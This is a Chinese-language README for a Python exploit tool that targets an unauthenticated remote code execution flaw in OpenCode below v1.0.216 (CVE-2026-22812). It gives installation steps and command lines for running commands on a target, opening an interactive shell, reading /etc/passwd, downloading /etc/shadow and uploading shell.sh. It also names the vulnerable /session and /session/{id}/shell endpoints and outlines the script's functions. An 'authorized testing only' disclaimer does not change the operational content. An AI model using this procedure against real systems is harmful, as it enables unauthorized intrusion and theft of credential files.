一个针对 OpenCode 远程代码执行(RCE)漏洞的 Python 利用工具,影响版本 < v1.0.216。该工具提供多种攻击向量,包括命令执行、文件读写、文件上传/下载以及交互式 Shell。
⚠️ 仅限授权测试使用 ⚠️
# 克隆仓库
git clone https://github.com/0xgh057r3c0n/CVE-2026-22812.git
cd CVE-2026-22812
# 安装依赖
pip install requests urllib3
# 添加执行权限(可选)
chmod +x CVE-2026-22812.py
requests 库urllib3 库python3 CVE-2026-22812.py -t http://target:port [options]
# 检查目标是否存在漏洞
python3 exploit.py -t http://10.0.0.1:4096 --check
# 交互式 Shell
python3 exploit.py -t http://10.0.0.1:4096 -i
# 执行单条命令
python3 exploit.py -t http://10.0.0.1:4096 -c "id"
# 读取文件
python3 exploit.py -t http://10.0.0.1:4096 -r /etc/passwd
# 上传文件
python3 exploit.py -t http://10.0.0.1:4096 --upload shell.sh /tmp/shell.sh
# 下载文件
python3 exploit.py -t http://10.0.0.1:4096 --download /etc/shadow shadow.txt
# 获取系统信息
python3 exploit.py -t http://10.0.0.1:4096 --info
# 使用代理(Burp Suite 等)
python3 exploit.py -t http://10.0.0.1:4096 -c "whoami" --proxy http://127.0.0.1:8080
进入交互式 Shell(-i 参数)后,您可以使用:
<command> 执行 Shell 命令
help 显示帮助菜单
exit 退出 Shell
session 显示会话 ID
stats 显示利用统计信息
read <file> 读取文件内容
download <remote> <local> 下载文件
upload <local> <remote> 上传文件
sysinfo 获取系统信息
该漏洞存在于会话管理端点(/session),该端点允许未认证用户创建会话,并通过 /session/{id}/shell 端点执行任意命令。
POST /session - 创建会话POST /session/{id}/shell - 执行命令GET /file/content - 读取文件CVE-2026-22812.py
├── Colors 类(ANSI 颜色代码)
├── print_banner()(显示横幅)
├── Exploit 类(主要利用逻辑)
│ ├── __init__()(初始化)
│ ├── check_vuln()(漏洞检查)
│ ├── create_session()(创建会话)
│ ├── exec_cmd()(执行命令)
│ ├── read_file()(读取文件)
│ ├── write_file()(写入文件)
│ ├── upload()(上传文件)
│ ├── download()(下载文件)
│ ├── get_info()(系统信息)
│ ├── shell()(交互式 Shell)
│ └── 辅助方法
└── main()(参数解析)
本工具仅用于教育目的发布。使用风险自负。
如有问题和疑问,请: